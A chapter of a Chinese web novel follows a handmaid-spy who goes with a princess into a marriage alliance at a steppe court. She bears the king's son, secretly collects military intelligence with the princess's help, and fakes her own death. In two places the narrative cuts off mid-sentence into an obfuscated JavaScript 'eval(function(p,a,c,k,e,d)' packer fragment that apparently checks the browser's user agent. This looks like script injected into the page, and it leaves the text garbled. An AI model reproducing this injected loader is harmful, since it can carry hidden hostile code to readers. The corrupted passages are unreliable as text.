那不是话本里的儿女私情。 也不是宫闱里寻常的主仆恩义。 那是两个女人被同一盘棋逼到狭处之后,彼此分担了一半不能说出口的命。 和亲队伍抵达燕云王庭时,正是初冬。 燕云的冬天来得更早。 草原上风像刀,刮在人脸上生疼。营帐一顶一顶连在一起,远处马群像黑色的云。燕云人迎接公主的仪式不似安国那样繁复,却极热烈。鼓声、马嘶声、人群呼喝声混在一起,像整片土地都在震。 燕云王亲自来迎。 他比陆棣贤年长许多,身形高大,眉骨深,眼神锐利。看人时并不遮掩,喜欢就是喜欢,不喜欢就是不喜欢。他第一次见陆棣贤,便多看了几眼。 安国公主不像他想象中柔弱。 她穿着厚重礼服,站在风里,脸色有些白,背却很直。燕云王朝她行了燕云礼,陆棣贤也按安国礼法回礼。两种礼不一样,却没有谁显得低谁一等。 后来萍才知道,燕云王确实喜欢陆棣贤。 不是一见钟情那种故事里的喜欢,而是一个统治者对另一个清醒之人的欣赏。陆棣贤不撒娇,不争宠,不把自己当受害者,也不把自己完全当献祭品。她学燕云话,学辨马,学部族关系,也学草原冬日怎样储粮。 燕云王起初以为她只是懂事。 后来才发现,她是明白。 她明白自己为何来,也明白自己能做什么,不能做什么。 这样的女子,在燕云王庭里并不多。 可喜欢并不能解决所有事。 陆棣贤不能生育。 这个消息最初只有安国随行医官知道。出发前,宫中太医便隐约诊出她体质有碍。若在安国宫中,这不一定是大事。公主不必靠生子保命。可到了燕云王庭,这便成了悬在头顶的刀。 和亲公主若无子,地位终究不稳。 尤其在燕云。 各部看重血脉。妃子若无子,旁的部族女子便会借子争位。陆棣贤再得燕云王欣赏,也不能永远靠欣赏立足。安国带来的种子和工匠能让她一时被看重,却不能替她在王庭里生出根。 萍比陆棣贤更早意识到这一点。 因为她站得低。 站得低,能看见高处人不愿低头看的东西。 她看见几个燕云贵女在宴后说笑,说安国公主像雪做的,漂亮,却冷,怕是养不出草原上的孩子。她看见燕云王的几个亲族妇人送来补药,嘴上亲热,眼睛却一直在陆棣贤腹部打转。也看见王庭中的医者诊脉之后,异样的神色一闪而过。 这些话,萍起初没有告诉陆棣贤。 她仍旧记着密诏。 她要看燕云王庭,要找机会接近核心,要知道安国想知道的东西。可是日子久了,她发现,许多核心机密不是一个侍女能靠近的。她再会听,再会记,也只能在帐外听见一点风声。 真正的东西,在王族内部。 在妻妾之间,在血脉之内,在谁的孩子能被抱到王座旁边时。 萍开始想一个可怕的办法。 那办法一出现,她自己也觉得荒唐。 她不是公主。 她只是随嫁侍女。 可也正因为她是侍女,她有时候比公主更容易被当成可以使用的东西。 燕云王注意到她,是在一次夜宴后。 那一日,几个部族首领喝多了酒,有人言语间冒犯陆棣贤,说安国公主太瘦弱,怕是草原的风再刮几年便吹散了。帐中笑声一片,燕云王皱了眉,还未开口,萍便上前替陆棣贤倒酒。 酒倒到一半,她抬眼,用刚学会不久的燕云话说了一句:“草原的风能吹倒枯草,吹不倒带种子来的人。” 帐中静了一瞬。 她说得并不流利,发音甚至有些生硬。 可这句话叫许多人愣住了。 陆棣贤看了她一眼。 燕云王也看了她一眼。 那一眼之后,萍知道,自己的命又走到了另一个岔口。 后来发生的事,萍从不愿细说。 那不是风月。 也不是女子之间争宠的故事。 那是她在隐鸢司里学了一生之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“若有一日,你后悔了,要告诉我。”陆棣贤说。 萍低声道:“来不及后悔。” 陆棣贤看着她。 “那也要告诉我。” 萍那一瞬间,几乎要哭。 可她没有。 后来,她有了身孕。 燕云王庭为此震动。 明面上,所有人都说这是王的血脉。至于这孩子将来记在谁名下,如何安排,没人敢在一开始便明说。陆棣贤却很快稳住了局面。她没有嫉恨萍,也没有疏远萍。她仍让萍住在自己帐中,由安国来的医官照料,对外只说萍是她身边最亲近的人,腹中孩子亦在她庇护之下。 燕云王默许了。 他不是不知道这里面的安排。 可对他而言,这孩子有燕云王族血脉,也与安国公主阵营相连,反倒有利于稳住两国关系。更何况,他确实敬重陆棣贤,也愿意给她这份体面。 34.借腹生子立根基 萍怀着孩子时,常常睡不好。 草原夜里风大,帐外马铃声不断。她躺在那里,手放在腹上,第一次清楚地感觉到,自己身体里有一个不是任务的东西。 可那孩子从一开始,就被任务包着。 她不知道该怎样做母亲。 隐鸢司没有教过这个。 它教她怎样让人相信她柔弱,怎样记密信,怎样在被抓时咬碎毒囊。可它没有教她听见腹中孩子动了一下时,心为何也跟着动了。 陆棣贤却会坐在她身边,给孩子念安国的诗。 念到一半,自己也笑。 “他将来大约听不懂。” 萍说:“公主可以教他。” 陆棣贤看向她:“你也可以。” 萍低下头。 “奴婢不配。” 陆棣贤声音沉下来:“不要再这样说。” 萍没有答。 陆棣贤道:“你不是一件东西。” 萍的眼眶忽然热了。 她想,公主不知道。 她从小便是东西。 编号,棋子,密探,侍女,工具。如今又成了一个孩子来到世上的生育者。她不是不知道自己被使用,也不是不知道陆棣贤待她好。可好并不能抹去她身上那些被刻过的字。 孩子出生在一个风雪夜。 燕云的冬天冷得厉害。帐外雪被风卷着走,像一片片白色的刀。萍痛了一日一夜,几次昏过去,又被痛醒。陆棣贤一直在旁边守着,手指被她抓出了血。 孩子落地时,哭声很亮。 是个男孩。 燕云王亲自来看。 帐中所有人都跪下。陆棣贤抱起孩子,神情平静得像早已决定好一切。 “给他取名阿木尔。”她说。 在燕云话里,那是和平的意思。 萍躺在床上,浑身像散了架,听见这个名字时,眼泪无声落下。 和平。 她这样的人,竟也能生下一个叫和平的孩子。 阿木尔从一出生,便被放在了权力的风口上。 燕云王喜欢他。陆棣贤也护着他。萍名义上只是生母,真正的养育与名分,都在陆棣贤那里。可孩子是从她身上落下来的。半夜里他哭,萍总是第一个醒。乳母来之前,她会先抱起他,轻轻拍着他的背。 她不敢当着太多人这样抱。 可私下里,陆棣贤从不拦她。 有一次,阿木尔抓着萍的手指不放。 萍低头看着他,忽然说:“他将来会恨我吗?” 陆棣贤问:“为什么恨你?” “因为我不能做他的母亲。” 陆棣贤沉默片刻。 “那就让他知道,她有两个母亲。” 萍看着她。 陆棣贤道:“一个给他命,一个给他名。若他将来连这个都不懂,便不配做我们的孩子。” 萍那时没有说话。 她只是抱着阿木尔,轻轻贴了贴他的额头。 日子似乎就这样过了下去。 可是密诏仍在。 安国的任务没有因为阿木尔出生便消失。相反,因为她与陆棣贤在燕云王庭站稳,许多从前摸不到的东西,开始能摸到边缘。 萍能进入更多帐子。 能听见王族妇人私下里的抱怨,听见哪个部族不满分到的草场,听见哪位王弟暗中同瑞国商人来往。她也能借照料阿木尔之名,接近王庭存放文书和兵器图样的地方。 她没有忘记自己是谁。 或者说,她从未被允许忘记。 她开始记。 记燕云各部兵力,记草场分布,记冬季粮马调度,记几处安国边郡外的暗道,记王庭亲战派与谁来往,记瑞国商人以买马、贩盐之名运进来的铁料。 最要紧的,是一份黑毡册。 那不是一本真正用黑毡做的册子,而是燕云王庭内部对它的俗称。它由几份文书和图样合成,平日分藏在不同地方,只有王族最核心的人才能看全。 一份是燕云九部近三年换防与兵马点籍。 上面写着各部能出多少骑兵,冬季驻牧何处,哪些部族与王庭亲近,哪些只是表面听令。 一份是南境草场与安国西州边防相接处的暗道图。 那些路不是官道,多为牧民、水草、商队多年踩出来的隐路。若小股骑兵南下,能避开安国几处明面关卡。 一份是新制连弩与轻甲图样。 燕云原本以骑射见长,不重机关弩。可近年有人从南边带来工匠和铁料,改出一种适合马队突袭后短距连发的弩机。若数量不多,它只是奇物;若与燕云骑兵配合,边境小城会很难守。 最后一份,是亲战派与瑞国商队往来的暗账。 瑞国表面同安国友好,南边互市也未断,可那账册里清楚记着,瑞国商人向燕云亲战部族输送铁料、盐药、工匠和少量军械。他们不盼燕云立刻灭安国,只盼安国西境不断流血。 这份东西若送回安国,足以让安国提前数年看清局势。 可它也足以要萍、陆棣贤和阿木尔三个人的命。 萍最初只是偷看到几角。 一角是草场图,一角是瑞国商队暗账,还有一角是连弩图样。她不敢写在纸上,大多先背在心里。夜深人静时,才用极小的字,写在特制薄绢上,再藏进针线夹层里。 有一次,她正在临摹半张南境暗道图。 帐外忽然有脚步。 萍来不及收起,只能把薄绢压进袖中。可进来的人不是旁人,是陆棣贤。 两人四目相对。 陆棣贤的目光落到桌上那一点未干的墨迹上。 帐内安静得能听见灯油爆开的声音。 萍跪下。 这一次,她没有辩解。 陆棣贤走到桌边,拿起那张半成的图。 她看了很久。 “父皇给你的密令?”她问。 萍低头:“是。” “卫慬知道吗?” “知道。” 陆棣贤笑了一下。 “难怪。” 她把图放回桌上,没有叫人,也没有发怒。 萍心里却更难受。 “公主若要处置奴婢,奴婢绝无怨言。” 陆棣贤看向她:“处置你,然后呢?让燕云人知道我身边的侍女是安国密探?让阿木尔被各部拿来做文章?让安国与燕云好不容易稳下来的局势再添一把火?” 萍说不出话。 陆棣贤道:“你为什么不告诉我?” “奴婢不能。” “现在能了吗?” 萍抬头。 陆棣贤坐下,神色很冷静。 “把你知道的,都说给我听。” 那一夜,两人谈到天亮。 萍说了密诏,说了卫慬的叮嘱,说了自己这些年记下的东西,也说了那份黑毡册。她以为陆棣贤会失望,至少会恨她。可陆棣贤只是听着,偶尔问几句。 天快亮时,陆棣贤说:“以后你不要一个人做。” 萍愣住。 陆棣贤道:“你一个人偷看,迟早会死。要做,便做得像样些。” 从那以后,陆棣贤成了她的同谋。 这件事若让任何一方知道,都是死罪。 可陆棣贤比萍更清楚哪些东西有用,哪些东西是燕云故意让人看见的假象。她会借王后的身份调动侍女,会以安国公主的名义召见工匠,也会在宴后无意间把萍留在该留的地方。 两人表面上渐渐不和。 这是陆棣贤提出来的。 “你太得我信任,反而惹眼。”她说,“不如让他们以为,你恃子而骄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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更准确说,是让所有人以为陆棣贤终于容不下萍,借一场争执害死了她。 那夜风很大。 帐外火把被吹得乱晃。 陆棣贤与萍在帐中争吵,声音传出去,外头侍女都听见了。争到后来,杯盏摔碎,萍哭着冲出帐子,跑向后营。有人追,有人喊,也有人假装没追上。 不久后,后营起火。 火烧了一间旧帐。 帐里有一具被烧得难辨面目的女尸。 尸身上有萍平日用的簪子,也有她的衣物残片。 王庭震动。 所有人都说,安国公主终于害死了那个生下阿木尔的侍女。 燕云王大怒。 陆棣贤跪在王帐前,一言不发。她不能辩解,不能哭得太真,也不能太冷。她必须让所有人相信,她确实恨过萍,也确实可能做出这样的事。 那几日,是她一生里最难熬的日子之一。 萍已经不在王庭。 她换了衣裳,混在送柴的人里出了营。 离开前,她只见了阿木尔一面。 孩子还小,睡得沉。 萍站在帐边,看着他。她没有抱他,因为抱了便走不了。陆棣贤站在她身后,眼圈红着,却没有哭出声。 萍从颈间取下那块玉佩。 那是陆棣贤当年送给她的东西。 玉佩原是一整块。 早在决定死遁时,萍便找了信得过的老工匠,沿着玉中天然暗纹将它分成两半。两半合在一起时仍是完整的,分开时却各自成形。 萍把一半放到阿木尔身边。 另一半自己收起。 “若他将来问起我,”萍说,“公主便说,我死了。” 陆棣贤看着她。 “你真愿意让他以为你死了?” 萍低声道:“活着的母亲会害他,死了的不会。” 陆棣贤终于落泪。 “你们一个个,都以为自己死了便干净。” 萍没有答。 她怕自己一开口,便再也走不了。